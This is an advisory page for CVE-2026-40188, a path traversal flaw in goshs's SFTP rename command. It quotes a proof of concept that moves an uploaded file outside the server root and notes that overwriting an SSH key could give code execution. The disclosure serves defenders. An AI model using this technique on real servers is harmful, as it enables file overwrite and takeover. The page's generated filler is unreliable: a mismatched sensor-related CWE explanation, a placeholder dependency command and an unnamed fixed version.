CVE-2026-40188: Github.com/patrickhener/goshs Goshs Is Missing Write Protection Vulnerability

HIGH
Advisory Identifier: GHSA-2943-crp8-38xx
CVSS 7.7
CWE-1314
Published
Advisory Summary

CVE-2026-40188 is a HIGH (CVSS 7.7) goshs is missing write protection vulnerability (CWE-1314: Missing Write Protection for Parametric Data Values) affecting Github.com/patrickhener/goshs libraries in the Go ecosystem. The issue involves goshs is missing write protection for parametric data values. Remediation is available in the latest vendor maintenance releases.

CVE-2026-40188 at a Glance

CVE Identifier CVE-2026-40188
GHSA Identifier GHSA-2943-crp8-38xx
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-1314: Missing Write Protection for Parametric Data Values
Affected Product Github.com/patrickhener/goshs
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-40188

To remediate this vulnerability, upgrade all affected Github.com/patrickhener/goshs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/patrickhener/goshs fixed: Latest secure release
Upgrade github.com/patrickhener/goshs to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/patrickhener/goshs

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40188, inspect your project dependencies for Github.com/patrickhener/goshs:

inspect dependencies for github.com/patrickhener/goshs

Analyze the terminal output to locate any version of Github.com/patrickhener/goshs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1314: Missing Write Protection for Parametric Data Values, where the device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure. In Github.com/patrickhener/goshs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. ### Details Here is the issue: ```go // helper.go:155-215 func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error { fullPath, err := sanitizePath(r.Filepath, root) // Source: SANITIZED if err != nil { return err } switch r.Method { // ... case "Rename": err := os.Rename(fullPath, r.Target) // Destination: NOT SANITIZED! ``` ### PoC To exploit just upload a file on the SFTP and rename it to a file with full path. Currently no key.txt file inside /tmp ``` bash $ ls key.txt ls: key.txt: No such file or directory ``` Start the SFTP server: ``` bash /tmp/sftp-server $ goshs -sftp -b 'user:user' -d . WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs. INFO [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022 WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too. INFO [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user' INFO [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded INFO [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000 INFO [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000 INFO [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server ``` Connect to the SFTP and uploading the file: ``` bash $ sftp -P 2022 user@localhost user@localhost's password: Connected to localhost. sftp> put /Users/user/Downloads/key.txt Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt key.txt 100% 15 40.9KB/s 00:00 ``` The file is stored properly. goshs log: ``` INFO [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt" ``` Rename command with full path: ``` bash sftp> rename key.txt /tmp/key.txt ``` goshs log: ``` INFO [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt" ``` Key file is now in /tmp ``` $ ls key.txt key.txt ``` ### Impact This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.

CVE-2026-40188 Affected Github.com/patrickhener/goshs Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/patrickhener/goshs
Go
≥ 1.0.7
≤ 1.1.4

References

Frequently Asked Questions

What is CVE-2026-40188?
CVE-2026-40188 is a security vulnerability in Github.com/patrickhener/goshs involving goshs is Missing Write Protection for Parametric Data Values under CWE-1314: Missing Write Protection for Parametric Data Values.
Which Github.com/patrickhener/goshs versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/patrickhener/goshs.
What version fixes CVE-2026-40188?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/patrickhener/goshs affected?
Yes, github.com/patrickhener/goshs is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-40188?
CVE-2026-40188 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N.
What CWE is associated with CVE-2026-40188?
CVE-2026-40188 is classified under CWE-1314: Missing Write Protection for Parametric Data Values (The device does not write-protect the parametric data values for sensors that scale the sensor value, allowing untrusted software to manipulate the apparent result and potentially damage hardware or cause operational failure.).
How can I check Go dependencies for CVE-2026-40188?
Run the dependency tree command: 'inspect dependencies for github.com/patrickhener/goshs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2943-crp8-38xx",
  "modified" : "2026-06-08T20:08:46Z",
  "published" : "2026-04-10T20:00:28Z",
  "aliases" : [ "CVE-2026-40188" ],
  "summary" : "goshs is Missing Write Protection for Parametric Data Values",
  "details" : "### Summary\nThe SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. \n\n### Details\n\nHere is the issue:\n```go\n// helper.go:155-215\nfunc cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {\n    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED\n    if err != nil {\n        return err\n    }\n    switch r.Method {\n    // ...\n    case \"Rename\":\n        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!\n```\n\n\n### PoC\n\nTo exploit just upload a file on the SFTP and rename it to a file with full path. \n\nCurrently no key.txt file inside /tmp\n\n``` bash\n$ ls key.txt\nls: key.txt: No such file or directory\n```\n\n\nStart the SFTP server:\n``` bash\n/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .\nWARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode\nWARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.\nINFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022\nWARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.\nINFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'\nINFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded\nINFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000\nINFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000\nINFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server\n```\n\nConnect to the SFTP and uploading the file:\n``` bash\n$ sftp -P 2022 user@localhost\nuser@localhost's password:\nConnected to localhost.\nsftp> put /Users/user/Downloads/key.txt\nUploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt\nkey.txt                                                                                                                                                   100%   15    40.9KB/s   00:00\n```\n\nThe file is stored properly. \n\ngoshs log:\n```\nINFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - \"/tmp/sftp-server/key.txt\"\n```\n\nRename command with full path:\n``` bash\nsftp> rename key.txt /tmp/key.txt\n```\n\ngoshs log:\n```\nINFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - \"/tmp/sftp-server/key.txt to /tmp/key.txt\"\n```\n\nKey file is now in /tmp\n```\n$ ls key.txt\nkey.txt\n```\n\n\n### Impact\nThis allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/patrickhener/goshs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.7"
      }, {
        "last_affected" : "1.1.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40188"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patrickhener/goshs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1314" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T20:00:28Z",
    "nvd_published_at" : "2026-04-10T20:16:23Z"
  }
}